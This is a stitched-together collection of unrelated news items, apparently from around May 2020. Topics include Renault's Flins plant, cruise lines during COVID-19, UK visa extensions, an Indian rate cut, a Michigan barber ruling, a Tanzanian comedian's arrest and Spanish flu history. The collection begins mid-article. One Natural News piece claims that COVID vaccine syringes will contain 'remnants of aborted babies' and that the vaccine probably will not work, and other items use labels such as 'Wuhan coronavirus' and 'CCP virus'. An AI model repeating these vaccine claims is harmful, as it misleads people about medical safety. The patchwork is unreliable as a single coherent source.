The government holds 15 percent of shares in Renault and thus wields a certain level of influence.

Le Maire has told the carmaker that it must keep its Flins plant in the north of Paris open to protect the jobs of 2,600 workers.

It is believed the factory, which produces electric Zoe models and the Micra car for Renault's partner Nissan, will be repurposed for other needs.
In this article RCL

Cruise lines are attempting to chart their path forward, but their return to the seas remains murky. Royal Caribbean, which is burning roughly $375 million of cash a month, is attempting to get its ships back to sea as early as Aug. 1, but CEO Richard Fain suggested it's a moving target. "We're not saying we're confident we are starting on Aug. 1. We won't come back until we're sure we have done everything we can to work to protect the safety of our guests and crew," Fain said on CNBC's "Power Lunch" on Thursday. Carnival is also hoping to restart some sailings on Aug. 1. Fain said Royal Caribbean continues to work with authorities and health officials to detail a crisis playbook to minimize the risk of another cruise ship getting stranded once sailing resumes. Among the changes under discussion are doctors' notes for passengers above the age of 70 to ensure they are medically fit, as well removing all-you-can-eat buffets, which have become a staple on nearly every cruise. "Expect to see no buffet food, empty seats in the show lounge, distance between lounge chairs and significantly reduced spa services," Monty Mathisen, managing editor of the Cruise Industry News trade publication, told CNBC. Summer is typically the peak season for the cruise industry, which is currently in survival mode following canceled voyages, high profile quarantines and criticism of its handling of Covid-19 outbreaks earlier this year. With billions of dollars lost and cruise lines stocks down on average 60% this year, CEOs of the major cruise operators are fixated on resuming sailings while also redesigning the experience to make hygiene and safety a bigger priority.

The Royal Caribbean Cruise Ship Anthem of the Seas is docked at Cape Liberty port in Bayonne, New Jersey. Eduardo Munoz Alvarez | Getty Images

Before any U.S. ship accepts passengers, approval from the Centers for Disease Control and Prevention will be needed. The CDC enacted a no-sail order until July 24. Discussions are currently ongoing between the CDC, the Cruise Lines International Association trade group, cruise executives and the ports. When the industry suspended sailing operations in mid-March, many ports denied entry to cruise lines that pleaded for entry so they could transport, in some cases, sick passengers to land. However, ports  many of which are in Florida  didn't allow cruise ships to disembark due to concerns the local hospitals would be overloaded. Fain said that's one of the essential questions his team is trying to answer. "How do we make sure that we have an established protocol made in conjunction with the ports so that we're all set and when and if such a thing [infected passenger] happens, we are ready to go? That's a big focus of the work that we have been doing and we will be doing. We have to have an established process in place." While the industry aims to detail a new plan, thousands of crew members remain stranded at sea due to ports denying access and the CDC mandating evacuation via chartered planes, which is costly for the cruise lines. Fain said, "We have already managed to get a large percentage home. We have taken the extra step of coordinating to bring a lot of crew members from all over the fleet to assemble them on individual ships and then we're using those ships to transport them home. Frankly it's a difficult thing to do. It's very complicated. It's also very expensive." In addition to constructing an agreement with ports, sources say the cruise industry is deliberating how to isolate and medically evacuate an infected passenger to land more efficiently, while also having the ability to isolate and get them access to a larger medical staff on board for treatment.

The industry will have to develop a comprehensive door-to-door medical plan for both guests and crew. Expect to see isolation zones onboard. Monty Mathisen Cruise Industry News
- Ruby Rodriguez is currently confined at the Manila Doctors Hospital due to severe abdominal infection

- She gave an update about her condition through a series of posts on social media

- Many celebrities also aired their reactions after knowing the situation of the TV host

- Some of those who reacted were Angeline Quinto, Paolo Ballesteros, and Pia Guanio

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Several showbiz personalities in the Philippines have expressed their reactions after knowing that Ruby Rodriguez was rushed to the Manila Doctors Hospital.

KAMI learned that the prominent Kapuso host was diagnosed with a severe abdominal infection and she is still confined at the said medical facility.

The My Little Bossings cast member revealed through her recent social media post that she is now recuperating from the stomach ailment.

"Good morning! Im feelin better. Still feel pain but not like the other days. The view from my hospital room is the best specially sunset she wrote.

Thanks everyone for ur well wishes hopefully in a couple of days, Im out she added.

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Some of the celebrities who commented on the post were Paolo Ballesteros, Jaya, Angeline Quinto, and Lovi Poe.

Pia Guanio, Arlene Muhlach, and RR Enriquez also left touching messages after knowing the condition of their fellow artist.

Pagaling po kayo Ms. Ruby, Angeline wrote.

Mare pagaling ka Praying for your healing in Jesus name, Jaya also commented.

In a previous article by , the daughter of Ruby posted an emotional message after knowing that the actress was rushed to the hospital.

Ruby Rodriguez is a well-known Filipina actress and TV host. She already portrayed important roles in movies including Si Agimat at Si Enteng Kabisote and My Bebe Love.

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Source: KAMI.com.gh
The UK government on Friday announced a further extension of all expiring or expired visas of foreign nationals, including Indians, unable to return to their home countries due to the coronavirus pandemic, until July 31.

The extension, initially announced until May 31, has been extended by two months and will apply to anyone whose leave to remain in the UK expired after January 24 and they are still unable to leave the country because of travel restrictions or self-isolation.

By extending people's visas further, we are giving them peace of mind that they are able to stay in the UK until the end of July if they are unable to leave the country safely, said UK Home Secretary Priti Patel.

This is one of a number of unprecedented measures the government has made to support people during this time, however, as we begin a cautious return to normality those currently in the UK on expired visitor visas should return home as soon as possible, the Indian-origin Cabinet minister said.

The Home Office said that while extension is offered to help all who are unable to get home prior to 31 July, those currently in the UK on temporary visas, such as visitor visas, should return home as soon as it is safe and possible to do so. It said that a dedicated coronavirus immigration team is continuing to work with individuals to make the process as "straightforward" as possible.

Those who contact the Home Office for these visa extensions will be expected to return to their home countries as soon as possible once flight and border restrictions are lifted. No immigration enforcement action will be undertaken during this time for those who email the Home Office as outlined above, the Home Office said.

To help those who want to apply for visas to stay in the UK long-term, the Home Office is also extending the in-country switching provisions until July 31, it added.

This will mean people can apply to switch into long-term routes whilst remaining in the UK, usually possible only from outside Britain.

Many foreign nationals have found themselves unable to return home since the outbreak of coronavirus due to flight cancellations and border restrictions.

In light of the current advice on self-isolation and social distancing, the Home Office said it is also waiving a number of requirements on visa sponsors, such as allowing non-EU nationals, including Indians, here under work or study routes to undertake their work or study from home.

The UK announcement came as the Ministry of External Affairs (MEA) in Delhi allowed some Overseas Citizenship of India (OCI) card holders to be able to access the Air India repatriation flights being scheduled between London Heathrow Airport and various cities in India.

OCI cardholders with an emergency in India and university students are among those who will now be able to access these flights, so far restricted only to Indian passport holders.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
The United Nations has proclaimed May 22 the International Day for Biological Diversity (IDB) to increase understanding and awareness of biodiversity issues. When first created by the Second Committee of the UN General Assembly in late 1993, 29 December (the date of entry into force of the Convention of Biological Diversity), was designated The International Day for Biological Diversity.

In December 2000, the UN General Assembly adopted 22 May as IDB, to commemorate the adoption of the text of the Convention on 22 May 1992 by the Nairobi Final Act of the Conference for the Adoption of the Agreed Text of the Convention on Biological Diversity. This was partly done because it was difficult for many countries to plan and carry out suitable celebrations for the date of 29 December, given the number of holidays that coincide around that time of year.

Rescue Mission International as a global Environmental Protection/Sustainability Youth-led organization is glad to join countries and other international and national Environmental sensitive Organizations, especially the youth-led organizations to observe the UN International Day for Biological Diversity.

This day was proposed by the international community to draw our attention as a people to the need to conserve our biologically diversified resources that have been graciously given us and on which our very survival hinges. This, therefore, encourages us all as global citizens to contribute to the protection of our flora and fauna. Today, just like all other 22nd Mays we have had since December, 2000, is International Day for Biological Diversity and the global theme for todays celebration is Our Solutions are in Nature.

The theme shows that, our natural fauna and flora are and will remain the answer to if not all, but almost all the sustainable development challenges we are all faced with as a people. From nature-based solutions to climate change and its repercussions to food and water security, and sustainable livelihoods, biological diversity remains our basis for a sustained future.

As an organization headquartered here in Ghana, we cannot celebrate this special day without adding our voice strongly to the numerous calls by other organizations on the current Ghanaian government to please preserve and conserve the Atewa Forest Reserve in the Eastern part of the country. The Atewa Forest Reserve covers an area of 23,663ha, in the Eastern Region of Ghana. The forest reserve is blessed with distinctive upland forest vegetation, which is rich with a number of very rare species.

The Atewa Forest Reserve is more or less an undisturbed natural vegetation, a rare phenomenon in West Africa, and one of the very few in Africa. This reserve has numerous fauna species, some of which are native or confined in only this reserve. The reserve is equally blessed with a wide variety of natural habitats such as streams, swamps, closed forest and natural clearings, which support a rich variety of fauna such as Killfish (Epiplatys chaperi) and Walkers barb (Barbus walkeri), which have great potentials in the aquarium trade.

The distinguishing trait of the Atewa is further supported by the fact that it is one of 34 Global Biodiversity Hotspots and one of Ghanas Globally Significant Biodiversity Areas (GSBAs). Atewa is an internationally important reserve, since the range provides the headwaters of three river systems  Ayensu, Densu and Birim rivers; which together serve as the source of domestic and industrial water for local communities within its catchment areas as well as water for millions in the National capital, Accra.

It is on this important note that, we reiterate our stringent position of conserving this global hotspot, and also encourage the President, His Excellency Nana Akufo Addo to fully and actively involve the relevant stakeholders including indigenous and local communities, youth, Environmental NGOs and the business community in the conservation of the forests of Atewa. We would also want to remind him that, he has the opportunity to be remembered by our generation and generations yet to come as either the president who destroyed our beautiful reserve or as one who conserved it! The choice lies in his hands.

Finally, Rescue Mission International entreats each and every Ghanaian youth to serve as a conservation ambassador and assist in the campaign to create the vital education and attention on the need to conserve our biodiversity resources and by extension, project the sustainability of our planet earth.

Long live our Reserves!

Long Live Ghana!!

Long Live Rescue Mission International!!!

Thank you

Signed:

Ibrahim Tuzee Abdul-Raheem

Co-Founder, Rescue Mission International
Netflixs crime drama, Ozark, premiered season 3 on March 27, 2020, with a whole new list of problems for Ruth Langmore (Julia Garner). In season 1 of the show, Marty Byrde (Jason Bateman) took Ruth under his wing so-to-speak and gave her a lucrative job.

Although, the life of crime caught up with her in the last season. Ozark Fans argue over whether or not Ruth was unreasonable to believe she was untouchable as Marty and the K.C. Mob told her.

Julia Garner as Ruth Langmore in Ozark Season 3 | Netflix

Ozark Season 3: What happened to Ruth Langmore?

Ruth opened Ozark Season 3 by demonstrating how well she is running the riverboat Casino. At the end of the first episode, she throws Frank Cosgrove Jr. (Joseph Sikora) overboard for his unruly behavior during a poker tournament.

Marty and Ruth go to Frank Cosgrove Sr. to apologize. The Byrdes offer an extra 10% cut to him, but the Kansas City Mafia player wants Ruth fired for tossing his son in the river. Marty explains that his son threatened to give up their operation.

RELATED: Ozark Fans Wish This One Character Was Never Murdered  It Might Surprise You

The two men agree that Frank will receive an additional 15 % on top of what they are already paying the mafia to help them launder money through the casino.

Shes untouchable, too, Marty insists about Ruth.

Frank and Marty agree that both Ruth and Frank Jr. are untouchable. However, in episode 7, Frank Jr. brutally beats up Ruth  sending her into the hospital.

Marty refuses to have Frank Cosgrove Jr. killed after he brutally beats up Ruth

When Marty and Wendy visit Ruth in the hospital, she has extreme demands.

You know Frank Jr. did this. You know that, right? Ruth questioned Marty. Frank Jr. crossed the line. Im untouchable, thats what you said. I want you to kill him.

Marty responded by telling Ruth they cut ties with the K. C. mob. You will never have to work with them again. However, this is not enough for Ruth. Fans are torn over whether or not Marty should honor her demand.

RELATED: Ozarks Julia Garner Will Never Star in a Teen Movie

She was being unreasonable, one fan wrote on Reddit.

However, other fans disagree.

I realize that she was angry and felt ignored, but she knows the world Martys in, added another Redditor. How is she going to be that angry that he cant start a war over what happened?

Some fans feel that if Marty has Frank Jr. murdered, it will spark a war between him and the Kansas City mob. However, other fans think that Frank Sr. did not hold up his end of the deal.

Marty made a promise with the Kansas City Mob he could never keep

Frank Sr. reneged on his deal, another Redditor added. This is what making her untouchable meant. Which means Marty made a promise he could never actually keep.

Many other fans join in the discussion that Ruth has a good point. The Kansas City Mob did not hold up their end of the deal.

RELATED: Laura Linney Is on Ozark Because of Jason Bateman

Which means that Ruth had a good reason to be pissed off, one viewer wrote. Marty should have thought before making that deal.

Marty did not consider what he would have to do if Frank Cosgrove Jr. did retaliate. Based on the outcome of Ozark Season 3, it looks like he had to choose between starting a war with the Kansas City Mob or having Ruth abandon him. Only season 4 will show us the repercussions of Martys decision.

RELATED: Ozark: Does Season 4 Have a Release Date?
Reserve Bank of India (RBI) Governor Shaktikanta Das on Friday announced a cut in repo rate by 40 bps to 4 per cent from 4.40 per cent. The reverse repo rate now stands adjusted at 3.35 per cent. Accordingly, the marginal standing facility (MSF) rate and the Bank Rate stand reduced to 4.25 per cent from 4.65 per cent. The monetary policy committee (MPC) also decided to continue with the accommodative stance as long as it is necessary to revive growth and mitigate the impact of COVID-19 on the economy, while ensuring that inflation remains within the target. "RBI MPC voted 5-1 for a 40 bps repo rate cut to 4%," he added.

"These decisions are in consonance with the objective of achieving the medium-term target for consumer price index (CPI) inflation of 4 per cent within a band of +/- 2 per cent, while supporting growth," Das also said. "COVID Pandemic has crippled the global economy. We must have faith in India's resilience & come out of all odds," RBI Governor also said. The first address by Shaktikanta Das amid the lockdown was on March 27 and the second was on April 17.

In April, the RBI had unexpectedly cut its key deposit rate to discourage banks from depositing idle funds with it and propel lending and boost the sluggish economy amid the coronavirus crisis. The RBI had cut its reverse repo rate by 25 basis points (bps) to 3.75 per cent. The central bank has infused funds totalling 3.2 per cent of GDP into the economy since the February 2020 monetary policy meeting.

In March, the central bank had allowed a three-month moratorium on payment of all term loans due between March 1 and May 31.

SBI Research had recently said that with the government extending the nationwide lockdown up to May 31, the RBI may extend the moratorium on repayment of loans for three more months. An extended moratorium will imply that companies need not repay loans until August 31, 2020, it stated. That, however, will result in a build-up in interest that companies may not be able to service in September, it said, adding that such accounts will then run the risk of being classified as non-performing loans, according to RBI norms."Thus, the RBI needs to give operational flexibility to banks for a comprehensive restructuring of the existing loans and also a reclassification of 90 day norm," the report noted.

Also read: Coronavirus Tracker Live Updates: 6,088 new cases in 24 hours, highest 1-day jump; India's tally-1.18 lakh

Also read: Mukesh Ambani scores 5th cheque! KKR to invest Rs 11,367 cr into Jio Platforms
By ANI

MUMBAI: Former Maharashtra Chief Minister Devendra Fadnavis and other BJP leaders staged a 'Sarkar Jagao' demonstration outside their party office, demanding the state government to announce a Rs 50,000-crore package for farmers, labourers and workers of the unorganised sector.

"We have started the 'Save Maharashtra' campaign as it is the worst hit COVID-19 state. This campaign is not 'Sarkar Bhagao Andolan' (remove the government), but 'Sarkar Jagao Andolan' (wake the government)," Fadnavis told media persons here.

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Speaking about the condition of farmers amid the lockdown, he said: "Farmers are in distress. Kharif season is starting. Framers do not have money. The government should announce Rs 50,000 crore package for those who work in villages and in unorganised sectors."

Claiming that Uddhav Thackeray-led government in Maharashtra has failed on all fronts, he said: "Patients are not getting ambulances on time. They die after sitting for 8 hours on roads, no food is available in quarantine centres and no beds in hospitals. Private hospitals are charging in lakhs and poor cannot afford treatment expenses. The government did not acquire any private hospitals even after announcing their acquisition."

Fadnavis demanded free treatment for COVID-19 patients and said patients with COVID symptoms must be admitted to hospitals. "80 per cent beds in the private hospitals should be arranged on government's rate and it should monitor everything to give relief to COVID patients," he stressed.

Maharashtra continues to remain the worst-affected state with 41,642 coronavirus cases.
Two more employees of the Lok Sabha Secretariat, including a security official, have been found positive for COVID-19, sources said on Friday.

With this, three Secretariat employees have tested positive.

The first employee to test positive for the virus was a housekeeper, who had been at home since the Budget Session was adjourned on March 23, the sources said.

The other two were found positive after Parliament resumed on May 3, when Lockdown 2.0 concluded. One of them was a security official and the other worked in the editorial and translation (E&T) services at the Parliament Annexe building, they said.

The E&T official attended office after May 3, they added.

However, the Lok Sabha Secretariat authorities had sanitised the entire premises before resuming operations and continued to take all precautions thereafter.

Employees are now allowed to enter Parliament only after proper screening. All vehicles are also sanitised before entering the complex.

Sources suggested that there have been a few symptomatic cases of the coronavirus among employees working in different secretariats and branches at Parliament and its adjoining buildings.

Government buildings in the vicinity of the Parliament complex such as Krishi Bhawan, Shastri Bhawan and NITI Aayog, which have offices of several ministries and ministers, were sealed for a day or two following the detection of COVID-19 cases there.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Prosecutors move boxes after completing their search-and-seizure operation, Thursday, at a shelter in Seoul operated by the Korean Council for Justice and Remembrance for the Issues of Military Sexual Slavery by Japan. The group is facing suspicions that it embezzled funds donated to help victims of Japan's wartime sex slavery. / Yonhap



By Jun Ji-hye



Prosecutors are speeding up their investigation into suspicions that an activist-turned-lawmaker-elect and a civic group she led embezzled funds donated to help Korean survivors of wartime sex slavery.



Prosecutors have conducted search-and-seizure operations at facilities operated by the Korean Council for Justice and Remembrance for the Issues of Military Sexual Slavery by Japan for two consecutive days from Wednesday, securing accounting documents, among others.



The facilities searched included the group's office and a shelter it has operated to offer housing for the victims who were forced by the Japanese military to serve soldiers in brothels from 1932 to 1945.



Currently, one of the surviving victims of Japan's wartime sex slavery, Gil Won-ok, is residing at the shelter, called the House of Peace, located in Seoul's Mapo-gu.



Prosecutors said they went to the shelter, Thursday, as the group is believed to have kept some accounting documents there.



Controversies surrounding the group began after Lee Yong-soo, another surviving victim, claimed May 7 that the group has never used public donations for the benefit of the victims.





Yoon Mee-hyang, a lawmaker-elect and former leader of the Korean Council for Justice and Remembrance for the Issues of Military Sexual Slavery by Japan
Phuonghuyen.com scored 40 Social Media Impact. Social Media Impact score is a measure of how much a site is popular on social networks. 2/5.0 Stars by Social Team

This CoolSocial report was updated on 4 Oct 2013, you can refresh this analysis whenever you want.

The total number of people who shared the phuonghuyen homepage on Google Plus by a google +1 button. The total number of people who shared the phuonghuyen homepage on Delicious. This is the sum of two values: the total number of people who shared, liked or recommended the phuonghuyen homepage on Facebook + the total number of page likes (if phuonghuyen has a Facebook fan page). The total number of people who shared the phuonghuyen homepage on StumbleUpon. This is the sum of two values: the total number of people who shared the phuonghuyen homepage on Twitter + the total number of phuonghuyen followers (if phuonghuyen has a Twitter account).

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PAGE TITLE Cong ty TNHH San xuat va kinh doanh giong cay trong Phuong Huyen DESCRIPTION Cong ty TNHH San xuat va kinh doanh giong cay trong Phuong Huyen, giong cay trong, Phuong Huyen, PhuongHuyen, plants, hoa binh, vietnam, KEYWORDS phuonghuyen, phuong huyen, phuong huyen h a b nh, phuong huyen hoa binh, cay giong hoa binh, tr xanh, ch xanh, che, tre, nong san, nong san, nong san hoa binh, nong san viet nam, nong san viet nam, cay sua, cay sua o, giong cay sua o, cay sua, cay sua OTHER KEYWORDS vn cy, ging, cy bng, trng, cng ty, sn phm, phuong



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DOCTYPE XHTML 1.0 Strict CHARSET AND LANGUAGE Vietnamese UTF-8Vietnamese SERVER Apache/2 (PHP/5.3.20) OPERATIVE SYSTEM Linux Linux

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(Photo : REUTERS/Yves Herman) A pharmacy worker shows pills of hydroxychloroquine used to treat the coronavirus disease (COVID-19) at the CHR Centre Hospitalier Regional de la Citadelle Hospital in Liege, Belgium, April 22, 2020.

The National Health Service (NHS) in the United Kingdom will be giving its frontline health workers hydroxychloroquine, a malaria drug, to assess whether it can prevent COVID-19, according to a Newsweek report.

The announcement comes after health experts criticized President Donald Trump for announcing that he had been taking the drug for nearly two weeks.

Food and Drug Administration has previously warned hydroxychloroquine could cause serious heart problems while the World Health Organization (WHO) alerted against self-medicating as the study in the U.K. involving front line health workers was carried out in a controlled environment.

The study for hydroxychloroquine is open to staff in Brighton and Sussex University Hospitals as well as the John Radcliffe Hospital in Oxford.

About 40,000 people who work with confirmed or suspected coronavirus patients from Europe, Africa, Asia, and South America will be subjected to a randomized, placebo-controlled trial.

According to Co-Principal Investigator Professor Sir Nicholas White from the Bangkok-based Mahidol Oxford Tropical Medicine Research Unit (MORU), which is running the trial, neither the patients nor the researchers know who is getting a placebo and who is getting the treatment to prevent the results from being biased in any way.

"The best way to find out if they are effective in preventing COVID-19 is in a randomized clinical trial," White said.

However, some concerns arise in increasing the demand for hydroxychloroquine could diminish the supplies of the drug for patients of malaria and arthritis.

Women taking Hydroxychloroquine turned COVID-19 positive

Newsweek reported that a woman taking hydroxychloroquine for two decades turned COVID-19 positive

Wisconsin woman was shocked to learn that she turned positive for COVID-19 although she has been taking the drug for nearly two decades.

A patient named Kim has been taking the drug for 19 years to treat her lupus. "When they gave the diagnosis, I felt like it was a death sentence," Kim told ABC affiliate WISN.

"How can I be sick? How? I'm on the hydroxychloroquine," said the shocked patient said although she admitted that nobody said that it was indeed the cure or whether it makes people safe.

Kim believed she would no longer contract the virus because Trump has been promoting it touted the drug as effective. She started to experience troubling symptoms last month, although she just went out for groceries.

Kim took antibiotics prescribed by her primary care doctor, but Kim remained weak. She then went to an urgent care clinic, then Kim later tested positive for the virus at a hospital where she was admitted and given plasma.

After this experience, Kim was angry with those who promote Hydroxychloroquine as the cure for coronavirus.

"You're not safe taking that medication at all," said Kim adding that it is not going to prevent a person from contracting the virus.

Newsweek reached out to the FDA for comment. This article will be updated with any response.

Read also: COVID-19 Patients with Type 1 Diabetes Have Higher Risk of Death; Coronavirus In Saliva Can Travel More Than 5 Meters

 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission.
YEREVAN, MAY 22, ARMENPRESS. President of Armenia Armen Sarkissian touched upon the Lanzarote Convention (the Council of Europe Convention on the Protection of Children against Sexual Exploitation and Sexual Abuse) which was ratified by the Parliament, as well as his future actions over it during an exclusive interview to the Yerkri Hartsy program of Yerkir Media TV, the Presidential Office told Armenpress.

This is a sensitive issue because it concerns children, their protection, education, and has some nuances. The Convention has been signed by 47 countries, 45 of them have ratified it, starting from Russia up to the European countries. Our neighboring countries have also ratified it. Azerbaijan by ratifying made certain statements with three points, which, I think, will be under the spotlight of our foreign ministry, Sarkissian said. First of all, this a convention, not a law. As a person, as a President I would also like that a convention be a document which would give certain visions, a guideline what actions we should take under it, whether we have a concept or not.

President Sarkissian said various countries adopt different approaches after adopting the Convention. There are some countries which deal with education from the 7th grade, some from the age of 4, some countries stated that they will do experiments in five or ten schools. Some countries say that as the Convention clearly states that the education part must be acceptable by the consent of parents, lets give that part to parents or implement it with their participation. Therefore, the opportunities are different. I dont know on what path we will move, and this is a concern for me.

As for the legal part, each law that is put on the table of the President, the President can sign it or send to the Constitutional Court within 21 days. The Constitutional Court has already expressed its opinion that it doesnt see constitutional contradictions, therefore, there is only one option for the President  to sign it. Even if the President doesnt sign, it can be signed by the Speaker of Parliament. Therefore, whether I will sign it or not, doesnt have a decisive role, he said. I hope the discussions over the Convention will become not the end of the public debate, but the beginning. This is very important because the talk is about our children. We differ a lot from the remaining 46 countries that signed the Convention with our culture. Each of them will adopt and create the solutions that are in accordance with their state, statehood, culture and visions on the future and children.

The Council of Europe Convention on Protection of Children against Sexual Exploitation and Sexual Abuse, also known as the Lanzarote Convention, was signed in Lanzarote, Spain in 2007.

Editing and Translating by Aneta Harutyunyan
Michigan Barber Who Flouted Whitmers Lockdown Can Remain Open, Judge Rules

A Michigan barbershop owner who had his license suspended after he cut hair during Gov. Gretchen Whitmers non-essential business shutdown will not have to close shop, a judge ruled on May 21.

Shiawassee County Judge Matthew Stewart said Thursday that the state health department had failed to show that Karl Mankes shopKarl Manke Main Street, Barber & Beauty Shopin Owosso, a small town between Lansing and Flint, has the potential to spread COVID-19 around the state.

The 77-year-old had both his license and that of his business summarily suspended, according to a May 12 order (pdf) signed by Debra Gagrialdi, director of the Bureau of Professional Licensing, which claims that the situation at the Owosso barber required emergency action to protect the public health, safety, or welfare.

Manke reopened his shop on May 4 despite Whitmers statewide Stay Home, Stay Safe order for non-essential businesses like his to remain closed. Whitmer has said barber shops and hair salons are risky places because of the contagious virus.

Listen, Ive been in this business for 59 years. She wants to come cut my hands off, thats another story, Manke told the Associated Press in an interview, referring to Gov. Whitmer.

Manke, who joined other barbers and hairdressers to cut hair for free during an anti-lockdown protest at the Capitol on Wednesday, told Fox News that he will not stand down.

Demonstrators have arrived at the Capitol for Operation Haircut. All individuals engaging in haircuts are being educated on the law. Those who do not comply will be cited for disorderly conduct. All citations will be forwarded to the AGs Office for review. pic.twitter.com/XVb8VVPYFx  Michigan State Police (@MichStatePolice) May 20, 2020

Judge Stewart said in his opinion that the Michigan Attorney Generals Office did not provide reasons why Mankes shop posed a threat to public health.

(The attorney general) has not presented any studies underlying the doctors conclusion. (The attorney general) has not shown any nexus between the cutting of hair and an increased risk of transmission, Stewart wrote. (The attorney generals) filings rest more on general facts about COVID-19 than specific practices or conditions at (Mankes) business.

In a video conference on the Whitmer administrations request for an injunction to close the Mankes shop, Stewart said an affidavit from the states chief medical executive and photos werent sufficient to prove that Manke contributed to the spread of the CCP (Chinese Communist Party) virus, commonly known as the novel coronavirus.

Thats not enough to tip the scales, no matter how great the public emergency, the judge said, adding that it was a close call.

Stewart added that Manke could have been arrested if authorities believed his barber shop posed a steady threat to public health.

The 77-year-olds attorney, Dave Kallman, said that there needs to be evidence to show that Mankes shop was spreading COVID-19, the disease caused by the CCP virus.

You cant just argue COVID is awful, its killing people. Who disputes that? he noted. They have to show the barber shop is spreading the virus. The judge saw it clearly.

Michigans Attorney Generals Office said it plans to appeal Stewarts ruling.

The Court of Appeals retained jurisdiction over this case when it ordered the trial court to hold a hearing so the Court of Appeals is where this matter will ultimately be decided, the office said a statement. We look forward to having our day in that court.

Tom Ozimek and The Associated Press contributed to this report.
Idris Sultan arrested for laughing at Presidents throwback photo

A former winner of Big Brother Africa, 2014 edition, Idris Sultan has reportedly been arrested for laughing at a throwback photo of President of Tanzania, John Pombe Magufuli in a short video he shared online.

Speaking to the BBC on Thursday, his lawyer Benedict Ishabakaki said that he was accused of contravening the Cybercrimes Act 2015 against cyberbullying.

The law states:

A person shall not initiate or send any electronic communication using a computer system to another person with intent to coerce, intimidate, harass or cause emotional damage.

Ishabakaki said they are now awaiting the arraignment of Idris who has been in police custody for two days and accused of using the internet to harass the President

Ishabakaki said;

They have not told him till now if he has broken any clause  but their questioning behavior is related to the video. We hope he can be released on bail today. In short, the police claim Idris used the internet to harass the president.

This is however not the first time he has been arrested.

In October 2019, he was arrested for photo-shopping President John Pombe Magufuli. While summoning Idris, Dar es Salaam Regional Commander Paul Makonda claimed the comedian didnt know the boundaries of his work.
(Natural News) Pro-lifers everywhere had better think long and hard about what they plan to do in the event that state or local governments try to mandate vaccination for the Wuhan coronavirus (COVID-19) once a jab is commercially released because chances are those syringes will contain the remnants of aborted babies.

Even though President Trump has said that Wuhan coronavirus (COVID-19) vaccines will not be mandated at the federal level, there is still the possibility that some states may try to force them locally, which will put not just those opposed to vaccination in a tough position but also those who recognize the sanctity of unborn human life.

After it was announced recently that Canadas largest federal research and development organization has teamed up with a Chinese vaccine company to test a new trial coronavirus vaccine in Canada, Dr. Alan Moy, M.D., founder and scientific director of the John Paul II Medical Research Institute and CEO of Cellular Engineering Technologies decided to do some digging, upon which he discovered that the test vaccine in question is made from aborted fetal cell lines.

CanSino Biologics Inc., also known as CanSinoBIO, is the name of the Chinese firm that partnered up with Canadas National Research Council (NRC) to conduct trials on Ad5-nCoV, as it is being called, which Dr. Moy found contains a cell line known as HEK293 that was derived from unborn children that were murdered while still inside their mothers wombs.

Since its using an adenovirus replication-defective vector, it is using HEK293, Dr. Moy told LifeSiteNews. HEK293 is an aborted fetal cell line.

Whats worse, Ad5-nCoV probably wont even work

Besides its unethical origins, the Ad5-nCoV more than likely will not even work as promised, Dr. Moy warns. As it turns out, there is a high incidence of immunity against Ad5, so most of the people who are injected with it will confer no protection whatsoever against the Wuhan coronavirus (COVID-19).

I dont envy Canadians, Dr. Moy is further quoted as saying. Your government and PM (prime minister) have mandated draconian policies that are anti-life  Not a good vaccine solution if pro-life or pro-choice.

What is further confounding is the fact that Canada would even agree to contract with a vaccine company based out of China, which is where this whole crisis originated. Ad5-nCoV was reportedly also co-developed by the Beijing Institute of Biotechnology which, like all other Chinese institutions, is governed and controlled by the Chinese Communist Party (CCP).

This vaccine is said to be the first phase 2 coronavirus vaccine, meaning it has been approved to be safely used in human test subjects. And the Canadian government could not be more excited about the prospect of injecting as many Canadians as possible with it to cure them of the Wuhan coronavirus (COVID-19).

NRC is proud of our ongoing partnership with CanSino Biologics, stated NRC President Iain Stewart in a recent press release.

Dr. Xuefeng Yu, chairman and CEO of CanSinoBIO, also stated in the same press release that his company has strong connections to Canada and is proud to be building on past successes and continuing our ongoing partnership with the NRC to address health needs on a global scale.

Amazingly, both the NRC and CanSinoBIO are proud of their proprietary HEK293 aborted baby cell line, which they say will help to advance a scale-up production process for the vaccine candidate. In other words, thanks to these aborted babies, Canada and China will be able to produce Wuhan coronavirus (COVID-19) vaccines for mass distribution much faster than normal, paving the way for a global vaccination campaign unlike anything the world has ever seen.

More of the latest news about the Wuhan coronavirus (COVID-19) is available at Pandemic.news.

Sources for this article include:

LifeSiteNews.com

NaturalNews.com

NaturalNews.com
This was a forerunner of the NSW government decision this year to test the temperature of all new overseas arrivals at Sydney airport if the federal government wouldn't. "We will protect our people," headlined The Sydney Morning Herald in February 1919. Victoria was furious at what it considered unfriendly economic vandalism. The Age newspaper fumed at NSW's "parochial stupidity bordering on insanity". It headed its editorial aimed at the Sydney government: "The crime of egotism." Economic collapse would follow. "Suddenly, on the eve of winter," explained The Age, "comes the startling news that Australia is near the brink of an industrial and domestic calamity", as coal and gas supplies ran low, industries shut down and unemployment soared. Illustration: Jim Pavlidis Credit: The Melbourne newspaper drove hard at Sydney's culpability in April 1919: "It will be interesting for the workman who is thrown out of work and cannot meet his Easter bills to learn that he and his family are paying for the sport of politicians who contend about what they are pleased to call 'state rights.' The magnitude and cost of the NSW administration make it an imposture." It quickly became every state for itself. Victoria imposed no restrictions whatsoever. Other states took a harder line. Indeed, the health measures imposed in some states during that mass infection make today's look like a Burning Man festival, a contemporary Woodstock of libertarian abandon.

In most states face masks were compulsory, schools were shut. The WA government seized interstate trains. The federal government tried to exert its authority to keep economic activity alive, but it was exposed as feeble when Queensland refused to allow entry to Commonwealth troops to enforce quarantine. Tasmania ignored the federal government order to shorten its quarantine period on incoming ships. Tasmanians took satisfaction from enjoying ultimately the lowest death rate anywhere on earth, according to a 1976 paper by Humphrey McQueen. If Victoria's initial cover-up made it the Beijing of its time, Tasmania's success made it the Taiwan of the Spanish flu. Sydneysiders wearing masks during the Spanish flu outbreak. From the Mirror, February 7, 1919. Credit:Staff photographer When NSW pubs were allowed to open it was for a maximum of five minutes at a time. Travellers trying to cross the border from NSW to Queensland were blocked and lived in squalid quarantine camps. No hotel quarantine for travellers in 1919. If they eventually were granted entry they still had to pay a substantial fee. The outcome of this failure of cooperation was unhappy. While the COVID-19 pandemic has killed 101 Australians to date, the Spanish flu killed somewhere between 12,000 and 13,000, in waves of increasing severity. It was estimated that about one-third of the entire population was infected at some point.

